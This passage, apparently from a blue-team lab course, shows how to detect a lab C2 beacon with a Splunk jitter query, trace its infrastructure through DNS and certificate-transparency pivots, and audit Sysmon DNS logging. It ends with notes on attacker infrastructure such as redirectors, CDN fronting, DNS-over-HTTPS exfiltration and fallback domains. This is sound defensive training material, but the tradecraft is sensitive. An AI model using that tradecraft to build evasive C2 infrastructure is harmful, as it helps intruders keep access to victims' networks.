| streamstats current=f window=1 last(Timestamps) as PrevTime
by Computer, DestinationHostname
| eval interval_sec = Timestamps - PrevTime
| where interval_sec > 10 AND interval_sec < 600
| stats avg(interval_sec) as AvgInterval,
stdev(interval_sec) as StdDev,
count as IntervalCount
by Computer, Image, DestinationHostname
| where IntervalCount > 2
| eval JitterRatio = round(StdDev / AvgInterval, 3)
| sort JitterRatio
| table Computer, Image, DestinationHostname, AvgInterval, JitterRatio, IntervalCountYour beacon should appear in the results with a JitterRatio between 0.10 and 0.25. If it doesn't appear: check that the beacon has been running long enough to produce at least 4 connections (at 60-second intervals, that's 4 minutes). If the query returns too many results, your lab has other processes making regular outbound HTTPS connections, add them to the exclusion list.
Step 3. Execute the DNS pivot.
# On your Linux VM, resolve the C2 domain:
dig cdn-assets-update.com +short
# Output: 127.0.0.1 (or your VM's IP, depending on /etc/hosts)
# In a real investigation, this IP would be a public VPS.
# You would then query passive DNS for other domains on the same IP:
# 1. Open https://www.virustotal.com/gui/ip-address/185.220.101.42/relations
# 2. Open https://securitytrails.com/domain/cdn-assets-update.com/dns
# 3. Look for: other domains resolving to the same IP,
# domains that historically resolved to the same IP,
# domains registered on the same date.
#
# For this lab: document what you would search for and what
# you'd expect to find (2-4 additional domains sharing the IP
# or registered in the same batch).Step 4. Execute the certificate pivot.
# Search certificate transparency logs:
curl -s "https://crt.sh/?q=%25cdn-assets-update%25&output=json" | \
python3 -m json.tool | head -30
# In the lab, this returns your self-signed cert (or nothing if
# you didn't use a real domain). In a real investigation, you'd see:
# - All certificates issued for domains matching the pattern
# - The issuer and issuance timestamp for each
# - Certificates issued within the same hour from the same issuer
# are likely the same infrastructure batchStep 5. Audit your logging for gaps.
# On the Windows VM, check if Sysmon DNS query logging (Event 22) is enabled:
$dnsEvents = Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" `
-FilterXPath "*[System[EventID=22]]" -MaxEvents 1 -ErrorAction SilentlyContinue
if ($dnsEvents) {
Write-Host "DNS query logging is ENABLED" -ForegroundColor Green
$dnsEvents | ForEach-Object {
$xml = [xml]$_.ToXml()
[PSCustomObject]@{
Time = $_.TimeCreated
Image = ($xml.Event.EventData.Data | Where-Object Name -eq 'Image').'#text'
Query = ($xml.Event.EventData.Data | Where-Object Name -eq 'QueryName').'#text'
}
} | Format-Table -AutoSize
} else {
Write-Host "DNS query logging is DISABLED, this is a logging gap." -ForegroundColor Red
Write-Host "To enable: add <DnsQuery onmatch='exclude' /> to your Sysmon config"
Write-Host "Then reload: sysmon -c your-config.xml"
}
# Also check: is your Sysmon config logging network connections (Event 3)?
# If you had to troubleshoot this earlier, it's a gap you've now closed.
# Document any gaps you found.Success criteria: The beaconing detection query returns your beacon with a jitter ratio below 0.30. You can identify the beacon's process name, destination domain, and callback timing from the query results. You've checked DNS query logging (Event 22) and documented whether it was enabled or disabled.
Challenge: Block the primary C2 domain on the Windows VM:
Add-Content C:\Windows\System32\drivers\etc\hosts "0.0.0.0 cdn-assets-update.com"Wait 60 seconds for the next beacon check-in. Then check Sysmon Event 22:
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -FilterXPath `
"*[System[EventID=22]]" -MaxEvents 10 | ForEach-Object {
$xml = [xml]$_.ToXml()
[PSCustomObject]@{
Time = $_.TimeCreated
Image = ($xml.Event.EventData.Data | Where-Object Name -eq 'Image').'#text'
Query = ($xml.Event.EventData.Data | Where-Object Name -eq 'QueryName').'#text'
}
} | Format-Table -AutoSizeDoes a DNS query for static-content-srv.com appear from the beacon process? This is exactly what happens in production: the beacon pivots to the fallback and Event 22 is how you catch it. If the fallback domain doesn't appear, the beacon may still be retrying the primary. Wait for 2–3 check-in cycles (2–3 minutes at 60-second intervals).
Infrastructure investment as campaign intelligence
How much the attacker spent tells you what you're dealing with before you've identified a single technique.
One VPS, one domain registered yesterday, a self-signed certificate, no redirector layer. Total investment: $15 and 30 minutes. That's a ransomware affiliate working from a playbook. They expect to detonate within 72 hours. Block the domain and they move to the next target.
Two redirectors on aged domains, configured TLS, CDN-fronted communication, separate payload hosting, separate phishing infrastructure, a DNS-over-HTTPS exfiltration channel. Total investment: $300–500 and 2–3 days of setup. That's a well-resourced operator who plans to maintain access for months. Block one redirector and the beacon fails over. Block both and they activate dormant domains from their batch. Containment requires mapping and simultaneously blocking the entire infrastructure set.
The infrastructure investment maps directly to the operational profile from OD1. Low budget = financial objective, short timeline, high noise tolerance. High budget = intelligence or strategic objective, long timeline, low detection tolerance. This is intelligence you can act on: it changes your response strategy from "block and monitor" to "map everything before you touch anything."
You should be able to do the following without referring back to this sub. If you can't, the sections to re-read are noted.